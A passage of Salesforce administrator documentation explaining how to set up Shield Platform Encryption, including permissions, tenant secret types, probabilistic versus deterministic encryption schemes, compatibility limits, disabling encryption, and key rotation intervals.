</thead>
<tbody>
<tr>
<td>Custom Date/Time</td>
<td>08/08/1888 12:00 PM</td>
<td>This field is encrypted, and the encryption key has been destroyed.</td>
</tr>
<tr>
<td></td>
<td>01/01/1777 12:00 PM</td>
<td>This service is unavailable right now. For help accessing this service, contact Salesforce.</td>
</tr>
</tbody>
</table>

You can’t enter these masking characters into an encrypted field. For example, if a Date field is encrypted and you enter 07/07/1777, you must enter a different value before it can be saved.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Shield Platform Encryption in Hyperforce

Shield Platform Encryption operates in parallel with volume-level encryption. By default, Hyperforce provides volume-level encryption for data at rest. Volume-level encryption protects all the data on a disk with one encryption key, which Salesforce owns and manages. With Shield Platform Encryption, you can encrypt your data in Hyperforce with unique keys that you control and manage.

Shield Platform Encryption features work in Hyperforce just like they do in implementations running on Salesforce’s first-party infrastructure. You can generate a unique key with Salesforce, or bring your own customer-supplied key, and rotate, export, and delete key material on demand. You can also encrypt files and attachments and data in CRM Analytics, Chatter, search indexes, and the event bus. And you can gather statistics about how much of your data is encrypted and, of that data, how much of it’s encrypted by active key material. This extra layer of security and control can help you meet your auditing, regulatory, contractual, and compliance requirements.

How Do I Deploy Shield Platform Encryption?

When you deploy Shield Platform Encryption to your org with a tool such as Salesforce Extensions for Visual Studio Code, Migration Tool, or Postman, the Encrypted field attribute persists. However, if you deploy to orgs with different encryption settings, the effect depends on whether Shield Platform Encryption is enabled in the target org.

Regardless of how you deploy, Salesforce automatically checks to see if the implementation violates Shield Platform Encryption guidelines.

<table>
<thead>
<tr>
<th>Source Organization</th>
<th>Target Organization</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shield Platform Encryption enabled</td>
<td>Shield Platform Encryption enabled</td>
<td>The source Encrypted field attribute indicates enablement.</td>
</tr>
<tr>
<td>Shield Platform Encryption enabled</td>
<td>Shield Platform Encryption not enabled</td>
<td>The Encrypted field attribute is ignored.</td>
</tr>
<tr>
<td>Shield Platform Encryption not enabled</td>
<td>Shield Platform Encryption enabled</td>
<td>The target Encrypted field attribute indicates enablement.</td>
</tr>
</tbody>
</table>
Set Up Your Encryption Policy

An encryption policy is your plan for encrypting data with Shield Platform Encryption. You can choose how you want to implement it. For example, you can encrypt individual fields and apply different encryption schemes to those fields. Or you can choose to encrypt other data elements such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not the same thing as field-level security or object-level security. Put those controls in place before you implement your encryption policy.

To provide Shield Platform Encryption for your org, contact your Salesforce account executive. They’ll help you provision the correct license so you can create key material and start encrypting data.

Warning: Salesforce recommends testing Shield Platform Encryption in a sandbox org to confirm that your reports, dashboards, processes, and other operations work correctly.

IN THIS SECTION:

1. **Which User Permissions Does Shield Platform Encryption Require?**
   Assign permissions to your users according to their roles regarding encryption and key management. Some users need permission to select data for encryption, while other users require combinations of permissions to work with certificates or key material. Enable these permissions for user profiles just like you would any other user permission.

2. **Generate a Tenant Secret with Salesforce**
   Salesforce makes it easy to generate a unique tenant secret from the Setup menu.

3. **Manage Tenant Secrets by Type**
   Tenant secret types allow you to specify which kind of data you want to encrypt with a Shield Platform Encryption tenant secret. You can apply different key rotation cycles or key destruction policies to tenant secrets that encrypt different kinds of data. You can apply a tenant secret to search index files and other data stored in Salesforce.

4. **Encrypt New Data in Standard Fields**
   You can encrypt standard fields on standard objects with Shield Platform Encryption from the Encryption Policy page. For best results, encrypt the least number of fields possible.

5. **Encrypt Fields on Custom Objects and Custom Fields**
   You can encrypt standard fields on custom objects, and custom fields on both standard and custom objects. Shield Platform Encryption also supports custom fields in installed managed packages. Apply encryption to custom fields from the management settings for each object. For best results, encrypt the least number of fields possible. When you add encryption to a field, all new data in that field is encrypted.

6. **Encrypt New Files and Attachments**
   For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is on, the body of each file or attachment is encrypted when it’s uploaded.

7. **Encrypt Data in Chatter**
   Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that users share in Chatter. You can encrypt data at rest in feed posts and comments, questions and answers, link names and URLs, poll questions and choices, and content from your custom rich publisher apps.
8. **Encrypt Search Index Files**  
   Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted in the database. When you search your org, the results are stored in search index files. You can encrypt these search index files with Shield Platform Encryption, adding another layer of security to your data.

9. **Encrypt CRM Analytics Data**  
   To get started with CRM Analytics Encryption, generate a tenant secret with Shield Platform Encryption. After you generate a CRM Analytics tenant secret, CRM Analytics Encryption uses the Shield Platform Encryption key management architecture to encrypt your CRM Analytics data.

10. **Encrypt Event Bus Data**  
    To enable encryption of change data capture or platform event messages at rest, generate an event bus tenant secret and then enable encryption.

11. **Fix Compatibility Problems**  
    When you select fields or files to encrypt with Shield Platform Encryption, Salesforce automatically checks for potential side effects. The validation service then warns you if any existing settings may pose a risk to data access or your normal use of Salesforce. You have some options for how to clear up these problems.

12. **Disable Encryption on Fields**  
    At some point, you might need to disable Shield Platform Encryption for fields, files, or both. You can turn field encryption on or off individually, but file encryption is all or nothing.

### Which User Permissions Does Shield Platform Encryption Require?

Assign permissions to your users according to their roles regarding encryption and key management. Some users need permission to select data for encryption, while other users require combinations of permissions to work with certificates or key material. Enable these permissions for user profiles just like you would any other user permission.

<table>
<thead>
<tr>
<th>Permission</th>
<th>Manage Encryption Keys</th>
<th>Customize Application Setup and Configuration</th>
<th>View TenantSecrets</th>
<th>Manage Certificates</th>
</tr>
</thead>
<tbody>
<tr>
<td>View Platform Encryption Setup pages</td>
<td>✔</td>
<td>☑</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Edit Encryption Policy page settings</td>
<td>✔</td>
<td>☑</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Generate, destroy, export, import, and upload tenant secrets and customer-supplied key material</td>
<td>✔</td>
<td>☑</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Query the TenantSecret object via the API</td>
<td>✔</td>
<td>☑</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Edit, upload, and download HSM-protected certificates with the Shield Platform Encryption Bring Your Own Key service</td>
<td>✔</td>
<td>☑</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Enable features on the Advanced Settings page</td>
<td>✔</td>
<td>☑</td>
<td>✔</td>
<td></td>
</tr>
</tbody>
</table>

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**Editions**


Available in both Salesforce Classic and Lightning Experience.
The Customize Application and Manage Certificates permissions are automatically enabled for users with the System Administrator profile.

**Restrict Access to Encryption Policy Settings**

You can require admins to also have the Manage Encryption Keys permission to complete encryption policy tasks. These tasks include changing the encryption scheme on fields, enabling and disabling encryption on fields, files, and attachments, and other data elements.

To opt in to this feature, you need the Manage Encryption Keys permission. Then opt in from the Advanced Settings page.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.
2. Select **Restrict Access to Encryption Policy Settings**.

   You can also enable the Restrict Access to Encryption Policy Settings programmatically. For more information, see PlatformEncryptionSettings in the Metadata API Developer Guide.

This restriction applies to actions taken through the API or from Setup pages, such as the Encryption Policy page or the Object Manager.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

**Generate a Tenant Secret with Salesforce**

Salesforce makes it easy to generate a unique tenant secret from the Setup menu.

Only authorized users can generate tenant secrets from the Platform Encryption page. Ask your Salesforce admin to assign you the Manage Encryption Keys permission.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the Choose Tenant Secret Type dropdown list, choose a data type.
3. Click **Generate Tenant Secret**.

   How often you can generate a tenant secret depends on the tenant secret type. You can generate tenant secrets for the Data in Salesforce type once every 24 hours in production orgs, and once every 4 hours in Sandbox orgs. You can generate tenant secrets for the Search Index type once every 7 days.

Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

   If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data it encrypts with an active key.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
Manage Tenant Secrets by Type

Tenant secret types allow you to specify which kind of data you want to encrypt with a Shield Platform Encryption tenant secret. You can apply different key rotation cycles or key destruction policies to tenant secrets that encrypt different kinds of data. You can apply a tenant secret to search index files and other data stored in Salesforce.

Tenant secrets are categorized according to the kind of data they encrypt.

**Data in Salesforce**
- Encrypts data using the probabilistic encryption scheme, including data in fields, attachments, and files other than search index files.

**Data in Salesforce (Deterministic)**
- Encrypts data using the deterministic encryption scheme, including data in fields, attachments, and files other than search index files.

**Search Index**
- Encrypts search index files.

**Analytics**
- Encrypts CRM Analytics data.

**Event Bus**
- Encrypts event messages that are stored temporarily in the event bus. For change data capture events, this secret encrypts data changes and the corresponding event that contains them. For platform events, this secret encrypts the event message including event field data.

**Note:**
- Tenant secrets that were generated or uploaded before the Spring ’17 release are categorized as the Data in Salesforce type.
- You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data it encrypts with an active key.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the Choose Tenant Secret Type dropdown list, choose a data type.

The Key Management page displays all tenant secrets of each data type. If you generate or upload a tenant secret while viewing tenant secrets of a particular type, it becomes the active tenant secret for that data.

**Note:** This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Encrypt New Data in Standard Fields

You can encrypt standard fields on standard objects with Shield Platform Encryption from the Encryption Policy page. For best results, encrypt the least number of fields possible.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Depending on the size of your org, enabling a standard field for encryption can take a few minutes.

1. Make sure that your org has an active encryption key. If you’re not sure, check with your administrator.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
3. Click Encrypt Fields.
4. Click Edit.
5. Select the fields you want to encrypt.
   All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic encryption scheme. To apply deterministic encryption to your data, select Deterministic from the Encryption Scheme list. For more information, see “How Deterministic Encryption Supports Filtering” in Salesforce Help.
6. Save your work.

The automatic Platform Encryption validation service checks for settings in your org that can block encryption. You receive an email with suggestions for fixing incompatible settings.

Field values are automatically encrypted only in records created or updated after you’ve enabled encryption. Synchronize existing data with your active key material on the Encryption Statistics and Data Sync page.

Note: To encrypt standard fields on custom objects, such as Custom Object Name, see Encrypt Fields on Custom Objects and Custom Fields.
Encrypt Fields on Custom Objects and Custom Fields

You can encrypt standard fields on custom objects, and custom fields on both standard and custom objects. Shield Platform Encryption also supports custom fields in installed managed packages. Apply encryption to custom fields from the management settings for each object. For best results, encrypt the least number of fields possible. When you add encryption to a field, all new data in that field is encrypted.

IN THIS SECTION:

Encrypt New Data in Custom Fields in Salesforce Classic
Apply Shield Platform Encryption to new custom fields in Salesforce Classic, or add encryption to new data entered in an existing custom field.

Encrypt New Data in Custom Fields in Lightning Experience
Apply Shield Platform Encryption to new custom fields in Lightning Experience, or add encryption to new data entered in an existing custom field.

Encrypt Custom Fields in Installed Managed Packages
If an installed managed package supports Shield Platform Encryption, you can encrypt custom fields in that package. Turn on encryption for custom fields in installed managed packages from the Advanced Settings page, and then apply encryption to custom fields in your installed managed package.

EDITIONS

Available in both Salesforce Classic and Lightning Experience.

USER PERMISSIONS
To view setup:
• View Setup and Configuration
To encrypt fields:
• Customize Application
Encrypt New Data in Custom Fields in Salesforce Classic

Apply Shield Platform Encryption to new custom fields in Salesforce Classic, or add encryption to new data entered in an existing custom field.

To apply deterministic encryption to custom fields, first enable deterministic encryption from the Platform Encryption Advanced Settings page in Setup.

1. From the management settings for the object, go to **Fields**.
2. In the Custom Fields & Relationships section, create a field or edit an existing one.
3. Select **Encrypted**.
   All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic encryption scheme. To apply deterministic encryption to your data, select a deterministic option listed under Encrypted.
4. Click **Save**.

The automatic Shield Platform Encryption validation service checks for settings in your org that can block encryption. You receive an email with suggestions for fixing incompatible settings.

Field values are automatically encrypted only in records created or updated after you’ve enabled encryption. Synchronize your existing data with your active key material from the Encryption Statistics and Data Sync page.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Editions


Available in both Salesforce Classic and Lightning Experience.

User Permissions

To view setup:
- View Setup and Configuration
To encrypt fields:
- Customize Application
Encrypt New Data in Custom Fields in Lightning Experience

Apply Shield Platform Encryption to new custom fields in Lightning Experience, or add encryption to new data entered in an existing custom field.

To apply deterministic encryption to custom fields, first enable deterministic encryption from the Platform Encryption Advanced Settings page in Setup.

1. From Setup, select Object Manager, and then select your object.
2. Click Fields & Relationships.
3. When you create or edit a custom field, select Encrypted.
   All new data entered in this field is encrypted. By default, data is encrypted using a probabilistic encryption scheme. To apply deterministic encryption to your data, select a deterministic option listed under Encrypted.
4. Click Save.

The automatic Platform Encryption validation service checks for settings in your org that can block encryption. You receive an email with suggestions for fixing incompatible settings.

Field values are automatically encrypted only in records created or updated after you've enabled encryption. Synchronize existing data with your active key material from the Encryption Statistics and Data Sync page.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Encrypt Custom Fields in Installed Managed Packages

If an installed managed package supports Shield Platform Encryption, you can encrypt custom fields in that package. Turn on encryption for custom fields in installed managed packages from the Advanced Settings page, and then apply encryption to custom fields in your installed managed package.

1. From Setup, enter Platform Encryption in the Quick Find box, and then select Advanced Settings.
2. Turn on Encrypt Custom Fields in Managed Packages.
   You can also enable encryption for managed packages programmatically. For more information, see PlatformEncryptionSettings in the Metadata API Developer Guide.
   From now on, if an installed managed package supports encryption, you can encrypt custom fields in that package. Don’t know if your application supports encrypted fields? Look for the Designed to Work With Salesforce Shield marker in your application’s AppExchange listing.
Encrypt New Files and Attachments

For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is on, the body of each file or attachment is encrypted when it's uploaded.

Note: Before you begin, make sure that your org has an active encryption key. If you're not sure, check with your Salesforce admin.

1. From Setup, in the Quick Find box, enter Encryption Policy, and then select Encryption Policy.
2. Select Encrypt Files and Attachments.
3. Save your work.

Important: Users with access to the file can work normally with it regardless of their encryption-specific permissions. Users who are logged in to your org and have read access can search and view the body content.

Users can continue to upload files and attachments per the usual file size limits. Expansion of file sizes caused by encryption doesn’t count against these limits.

Turning on file and attachment encryption affects new files and attachments. It doesn’t automatically encrypt files and attachments that were already in Salesforce. Synchronize existing data with your active key material on the Encryption Statistics and Data Sync page.

To check whether a file or attachment is encrypted, look for the encryption indicator on the detail page of the file or attachment. You can also query the isEncrypted field on the ContentVersion object (for files) or on the Attachment object (for attachments).
Here’s What It Looks Like When a File Is Encrypted

Note: The encryption indicator is only available in Salesforce Classic.

Encrypt Data in Chatter

Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that users share in Chatter. You can encrypt data at rest in feed posts and comments, questions and answers, link names and URLs, poll questions and choices, and content from your custom rich publisher apps.

We recommend that you test Encryption for Chatter in a dedicated Sandbox environment before enabling it in production.

Unlike encryption for custom and standard fields, enabling encryption for Chatter encrypts all eligible Chatter fields.

1. Make sure that your org has an active encryption key. If you’re not sure, check with your administrator.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
3. Click Encrypt Chatter.

The automatic Shield Platform Encryption validation service checks for settings that could block encryption. If the service finds potential problems, it sends you an email with suggestions for fixing the problems.

After you activate encryption for Chatter, new data that you enter into Chatter gets encrypted. To encrypt historic Chatter data, contact Salesforce Customer Support to request the background encryption service.

When you edit or update an encrypted Chatter field, the field’s revision history is also encrypted. For example, if you update a post, the old version of the post remains encrypted.

If you enabled Encryption for Chatter in Spring ’17 and you want to access the most up-to-date features, deselect Encrypt Chatter and then reselect Encrypt Chatter.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Encrypt Search Index Files

Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted in the database. When you search your org, the results are stored in search index files. You can encrypt these search index files with Shield Platform Encryption, adding another layer of security to your data.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. Select Search Index from the picklist.
   This new tenant secret encrypts only the data stored in search index files.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
5. Select Encrypt Search Indexes.
   Your search indexes are now encrypted with the active Search Index tenant secret.
Encrypt CRM Analytics Data

To get started with CRM Analytics Encryption, generate a tenant secret with Shield Platform Encryption. After you generate a CRM Analytics tenant secret, CRM Analytics Encryption uses the Shield Platform Encryption key management architecture to encrypt your CRM Analytics data.

You must be approved by the CRM Analytics Encryption Product Manager to use CRM Analytics Encryption. File a case with Salesforce Support to request access.

Familiarize yourself with Strengthen Your Data’s Security with Shield Platform Encryption to understand CRM Analytics’s key management architecture.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. Select Analytics from the picklist.
3. Generate a tenant secret or upload key material.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
5. Select Encrypt CRM Analytics.
6. Click Save.

New datasets in CRM Analytics are now encrypted.

Note: Data that was in CRM Analytics before encryption was enabled isn’t encrypted. If pre-existing data is imported from Salesforce objects through the dataflow, the data becomes encrypted on the next dataflow run. Other pre-existing data (such as CSV data) must be reimported to become encrypted. Although pre-existing data isn’t encrypted, it’s still accessible and fully functional in its unencrypted state when encryption is enabled.

Encrypt Event Bus Data

To enable encryption of change data capture or platform event messages at rest, generate an event bus tenant secret and then enable encryption.

The following steps enable encryption for both change data capture and platform events.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the Choose Tenant Secret Type dropdown list, choose Event Bus.
3. Click Generate Tenant Secret or, to upload a customer-supplied tenant secret, click Bring Your Own Key.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
5. Select Encrypt change data capture events and platform events.
6. Click Save.

Warning: If you don’t enable Shield Platform Encryption for change data capture events and platform events, events are stored in clear text in the event bus.
Fix Compatibility Problems

When you select fields or files to encrypt with Shield Platform Encryption, Salesforce automatically checks for potential side effects. The validation service then warns you if any existing settings may pose a risk to data access or your normal use of Salesforce. You have some options for how to clear up these problems.

If your results include error messages, you’re probably running into one or more of these limitations:

**Portals**
You can’t encrypt standard fields, because a legacy customer or partner portal (created before 2013) is enabled in your organization. To deactivate a legacy customer portal, go to the Customer Portal Settings page in Setup. To deactivate a legacy partner portal, go to the Partners page in Setup.

*Note:* Experience Cloud sites aren’t related to this issue. They’re fully compatible with encryption.

**Criteria-Based Sharing Rules**
You’ve selected a field that is used in a filter in a criteria-based sharing rule.

**SOQL/SOSL queries**
You’ve selected a field that is used in an aggregate function in a SOQL query, or in a WHERE, GROUP BY, or ORDER BY clause.

**Formula fields**
You’ve selected a field that is referenced by a custom formula field in an unsupported way. Formulas can use BLANKVALUE, CASE, HYPERLINK, IF, IMAGE, ISBLANK, ISNULL, NULLVALUE, and concatenation (&).

**Flows and Processes**
You’ve selected a field that is used in one of these contexts.

- To filter data in a flow
- To sort data in a flow
- To filter data in a process
- To filter data in a record choice set
- To sort data in a record choice set

*Note:* By default, your results only list the first 250 errors per element. You can increase the number of errors listed in your results to 5000. Contact Salesforce for help.

*Note:* This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Disable Encryption on Fields

At some point, you might need to disable Shield Platform Encryption for fields, files, or both. You can turn field encryption on or off individually, but file encryption is all or nothing.

When you turn off Shield Platform Encryption for a field, most encrypted data is automatically mass-decrypted. The decryption starts automatically after you disable encryption for specific fields and save your changes. When data is decrypted, any functionality that was limited or unavailable when the data was encrypted is also restored. Salesforce notifies you by email when the decryption process is complete.

**Note:** Automatic decryption takes longer when you disable encryption on fields encrypted with a key that's been destroyed. Salesforce notifies you by email when the process finishes.

Long text area and rich text area field types can't be automatically decrypted. If you decrypt data encrypted with a destroyed key, that data can't be mass-decrypted.

**Note:** If you disable Shield Platform Encryption and can't access data in fields that were previously encrypted, contact Salesforce for help.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
2. Click Encrypt Fields, then click Edit.
3. Deselect the fields you want to stop encrypting, then click Save.
   Users can see data in these fields.
4. To disable encryption for files or Chatter, deselect those features from the Encryption Policy page and click Save.

The functionality that was limited or changed by Platform Encryption is restored for your data after it's decrypted.

Filter Encrypted Data with Deterministic Encryption

You can filter data that's protected with Shield Platform Encryption using deterministic encryption. Your users can filter records in reports and list views, even when the underlying fields are encrypted. You can apply case-sensitive deterministic encryption or exact-match case-insensitive deterministic encryption to data on a field-by-field basis.

Deterministic encryption supports WHERE clauses in SOQL queries and is compatible with unique and external ID fields. It also supports single-column indexes and single and double-column unique indexes. Deterministic encryption key types use the Advanced Encryption Standard (AES) with 256-bit keys with CBC mode and a static initialization vector (IV).

IN THIS SECTION:

- How Deterministic Encryption Supports Filtering

By default, Shield Platform Encryption uses a probabilistic encryption scheme to encrypt data. Each bit of data is turned into a fully random ciphertext string every time it's encrypted. Encryption doesn't generally impact users who are authorized to view the data. The exceptions are when logic is executed in the database or when encrypted values are compared to a string or to each other. In these cases, because the data has been turned into random, patternless strings, filtering isn't possible. For example, you might run a SOQL query in custom Apex code against the Contact object, where LastName = 'Smith'. If the LastName field is encrypted with probabilistic encryption, you can't run the query. Deterministic encryption addresses this problem.
Encrypt Data with the Deterministic Encryption Scheme

Generate key material specific to data encrypted with deterministic encryption schemes. You can apply either case-sensitive deterministic encryption or case-insensitive deterministic encryption schemes to your data, depending on the kind of filtering you need to perform. When you apply a deterministic encryption scheme to a field or change between deterministic encryption schemes, synchronize your data. Syncing data makes sure that your filters and queries produce accurate results.

How Deterministic Encryption Supports Filtering

By default, Shield Platform Encryption uses a probabilistic encryption scheme to encrypt data. Each bit of data is turned into a fully random ciphertext string every time it's encrypted. Encryption doesn't generally impact users who are authorized to view the data. The exceptions are when logic is executed in the database or when encrypted values are compared to a string or to each other. In these cases, because the data has been turned into random, patternless strings, filtering isn't possible. For example, you might run a SOQL query in custom Apex code against the Contact object, where LastName = 'Smith'. If the LastName field is encrypted with probabilistic encryption, you can't run the query. Deterministic encryption addresses this problem.

To be able to use filters when data is encrypted, we have to allow some patterns in our data. Deterministic encryption uses a static initialization vector (IV) so that encrypted data can be matched to a particular field value. The system can't read a piece of data that's encrypted, but it does know how to retrieve the ciphertext that stands for that piece of data thanks to the static IV. The IV is unique for a given field in a given org and can only be decrypted with your org-specific encryption key.

We evaluate the relative strengths and weaknesses of cryptographic approaches based on the types of attacks that can be launched against a particular algorithm. We also consider the length of time that it could take for the attack to succeed. For example, it is commonly said that a brute-force attack against an AES 256-bit key would take a billion billion years given current computing capabilities. Nevertheless, it is common practice to rotate keys regularly.

Certain kinds of attacks become a bit less far-fetched when you get away from purely random ciphertext. For example, an attacker could conceivably analyze deterministically encrypted ciphertext and determine that the cleartext string Alice always resolves to the ciphertext YjNkY2J1NjU5M2JkNjkgMGJiNiWEZGQ5NzI5MzU1OTcNCg==. Given enough time to eavesdrop, an attacker could defeat encryption by building a dictionary of cleartext values to ciphertext values.

The Salesforce Shield approach is to expose just enough determinism to let bona fide users filter on encrypted data while limiting it enough to ensure that a given plaintext value doesn't universally result in the same ciphertext value across all fields, objects, or orgs. Even if an attacker successfully matched cleartext to encrypted values for one field, the attacker would have to do it all over again for another field, and again for the same field in another object.

In this way, deterministic encryption decreases encryption strength only as minimally necessary to allow filtering.

Deterministic encryption comes in two types: case-sensitive and case-insensitive. With case-sensitive encryption, a SOQL query against the Contact object, where LastName = Jones, returns only Jones, not jones or JONES. Similarly, when the case-sensitive deterministic scheme tests for unicity (uniqueness), each version of “Jones” is unique.

For case-insensitive, a SOQL query against the Lead object, where Company = Acme, returns Acme, acme, or ACME. When the case-insensitive scheme tests for unicity (uniqueness), each version of Acme is considered identical.

Important: Probabilistic encryption is not supported on the email address field for the Contact object. To avoid creating duplicate accounts during self-registration, use deterministic encryption.
Encrypt Data with the Deterministic Encryption Scheme

Generate key material specific to data encrypted with deterministic encryption schemes. You can apply either case-sensitive deterministic encryption or case-insensitive deterministic encryption schemes to your data, depending on the kind of filtering you need to perform. When you apply a deterministic encryption scheme to a field or change between deterministic encryption schemes, synchronize your data. Syncing data makes sure that your filters and queries produce accurate results.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. From the Choose Tenant Secret Type menu, select Data in Salesforce.
3. Generate or upload a tenant secret.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.
5. Enable Deterministic Encryption.

You can also enable deterministic encryption programmatically. For more information, see PlatformEncryptionSettings in the Metadata API Developer Guide.

6. From Setup, select Key Management.
7. Select the Data in Salesforce (Deterministic) secret type.
8. Generate a tenant secret.

You can mix and match probabilistic and deterministic encryption, encrypting some fields one way and some fields the other.

9. Enable encryption for each field, and choose a deterministic encryption scheme. How you do that depends on whether it's a standard field or a custom field.

   - For standard fields, from Setup, select Encryption Policy, and then select Encrypt Fields. For each field you want to encrypt, select the field name, and then choose either Deterministic—Case Sensitive or Deterministic—Case Insensitive from the Encryption Scheme list.
For custom fields, open the Object Manager and edit the field you want to encrypt. Select Encrypt the contents of this field, and select an encryption scheme.

You receive an email notifying you when the enablement process finishes.

**Note:** Expect the enablement process to take longer when you apply deterministic encryption to a field with a large number of records. To support filtering, the enablement process also rebuilds field indexes.
When you apply or remove deterministic encryption to a field, existing data in that field might not appear in queries or filters. To apply full deterministic functionality to existing data, synchronize all of your data with your active key material from the Encryption Statistics and Data Sync page. For more information, see Synchronize Your Data Encryption with the Background Encryption Service.

Key Management and Rotation

Shield Platform Encryption lets you control and rotate the key material used to encrypt your data. You can use Salesforce to generate a tenant secret for you, which is then combined with a per-release master secret to derive a data encryption key. This derived data encryption key is then used in encrypt and decrypt functions. You can also use the Bring Your Own Key (BYOK) service to upload your own key material, or store key material outside of Salesforce and have the Cache-Only Key Service fetch your key material on demand.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Key management begins with assigning security administrators the appropriate permissions. Assign permissions to people you trust to encrypt data, manage certificates, and work with key material. It’s a good idea to monitor these users’ key management and encryption activities with the Setup Audit Trail. Authorized developers can generate, rotate, export, destroy, reimport, and upload tenant secrets by coding a call to the TenantSecret object in the Salesforce API.

IN THIS SECTION:

Work with Key Material
Shield Platform Encryption lets you generate a unique tenant secret for your org, or generate a tenant secret or key material using your own external resources. In either case, you manage your own key material: You can rotate it, archive it, and designate other users to share responsibility for it.

Rotate Your Encryption Tenant Secrets
You control the lifecycle of your data encryption keys by controlling the lifecycle of your tenant secrets. Salesforce recommends that you regularly generate or upload new Shield Platform Encryption key material. When you rotate a tenant secret, you replace it with either a Salesforce-generated tenant secret or customer-supplied key material.

Back Up Your Tenant Secrets
Your Shield Platform Encryption tenant secret is unique to your org and to the specific data to which it applies. Salesforce recommends that you export your tenant secret to ensure continued access to the related data.

Get Statistics About Your Encryption Coverage
The Encryption Statistics page provides an overview of all data encrypted with Shield Platform Encryption. This information helps you to stay on top of your key rotation and management tasks. You can also use encryption statistics to identify which objects and fields you may want to update after you rotate your key material.

Synchronize Your Data Encryption with the Background Encryption Service
Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy with Shield Platform Encryption, synchronize new and existing encrypted data under your most recent encryption policy and keys. You can do this yourself or ask Salesforce for help.
Destroy Key Material
Only destroy Shield Platform Encryption tenant secrets and key material in extreme cases where access to related data is no longer needed. Your key material is unique to your org and to the specific data to which it applies. Once you destroy key material, related data is not accessible unless you import previously exported key material.

Require Multi-Factor Authentication for Key Management
Multi-factor authentication (MFA) is a powerful tool for securing access to data and resources. Salesforce requires the use of MFA for all logins to your org’s user interface. In addition, you can add extra security by also requiring MFA for Shield Platform Encryption key management tasks like generating, rotating, or uploading key material and certificates.

Bring Your Own Key (BYOK)
When you supply your own tenant secret, you get the benefits built-in to Salesforce Shield Platform Encryption, plus the extra assurance that comes from exclusively managing your tenant secret.

Cache-Only Key Service
Shield Platform Encryption’s Cache-Only Key Service addresses a unique need for non-persisted key material. You can store your key material outside of Salesforce and have the Cache-Only Key Service fetch your key on demand from a key service that you control. Your key service transmits your key over a secure channel that you configure, and the Cache-Only Key Service uses your key for immediate encrypt and decrypt operations. Salesforce doesn’t retain or persist your cache-only keys in any system of record or backups. You can revoke key material at any time.

Work with Key Material
Shield Platform Encryption lets you generate a unique tenant secret for your org, or generate a tenant secret or key material using your own external resources. In either case, you manage your own key material: You can rotate it, archive it, and designate other users to share responsibility for it.

When you generate or upload new key material, any new data is encrypted using this key. This is now your active key. However, existing sensitive data remains encrypted using previous keys, which are now archived. In this situation, we strongly recommend re-encrypting this data with your active key. You can synchronize your data with the active key material on the Encryption Statistics and Data Sync.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Rotate Your Encryption Tenant Secrets

You control the lifecycle of your data encryption keys by controlling the lifecycle of your tenant secrets. Salesforce recommends that you regularly generate or upload new Shield Platform Encryption key material. When you rotate a tenant secret, you replace it with either a Salesforce-generated tenant secret or customer-supplied key material.

**Important:** Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

To decide how often to rotate your tenant secrets, consult your security policies. How frequently you can rotate key material depends on the tenant secret type and environment. You can rotate tenant secrets one time per interval.

<table>
<thead>
<tr>
<th>Tenant Secret Type</th>
<th>Production Environments</th>
<th>Sandbox Environments</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data in Salesforce</td>
<td>24 hours</td>
<td>4 hours</td>
</tr>
<tr>
<td>Data in Salesforce (Deterministic)</td>
<td>7 days</td>
<td>4 hours</td>
</tr>
<tr>
